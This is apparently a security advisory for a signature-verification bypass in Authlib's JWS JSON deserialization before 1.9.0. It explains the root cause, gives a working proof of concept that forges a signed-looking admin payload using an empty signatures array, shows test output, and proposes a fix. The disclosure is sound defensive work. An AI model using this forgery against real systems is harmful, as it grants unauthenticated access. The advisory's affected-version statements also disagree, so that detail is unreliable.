GitHub Advisoryadvisory · PyPI
GHSA-6v38-4h7w-rj9h Authlib: empty signatures validation in JWS JSON deserialization
CRITICAL
Official page ↗
- Aliases
- CVE-2026-96760
- Ecosystem
- PyPI
- Packages
- authlib
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-347
- Reviewed
- 2026-10-27
Affected packages
• PyPI authlib: < 1.9.0 → fixed in 1.9.0
Description
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
Root cause
`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:
```python
is_valid = True # set before anything is checked
for header_obj in obj["signatures"]: # empty array means the body never runs
jws_header, valid = self._validate_json_jws(...)
if not valid:
is_valid = False
...
if is_valid:
return rv # returns the payload as verified
```
`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON
Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.
Reproduction
```python
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
```
Observed on authlib 1.8.0, Python 3.14, clean virtualenv:
```
[A] ATTACK general JSON, signatures:[] , key=None
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK general JSON, signatures:[] , key=
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
rejected: DecodeError Missing "protected" value:
```
[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves
tampering is caught. [E] proves this is specifically the empty-array case and not a general
missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not
save a caller: the empty array is accepted either way.
For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with `BadSignatureError`. The correct behaviour already exists in your newer
library.
Impact
Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.
What would fix it
In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag
from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938
proposes the same thing.
Related
Alias · CVE (1)
- CVE-2026-96760 Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. vulnerability
Weakness · CWE (1)
- CWE-347 Improper Verification of Cryptographic Signature weakness
References
- https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h web
- https://nvd.nist.gov/vuln/detail/CVE-2026-96760 advisory
- https://github.com/authlib/authlib/pull/938 web
- https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733 web
- https://github.com/authlib/authlib package
- https://github.com/authlib/authlib/releases/tag/v1.9.0 web
- https://kb.cert.org/vuls/id/762428 web
- https://www.kb.cert.org/vuls/id/762428 web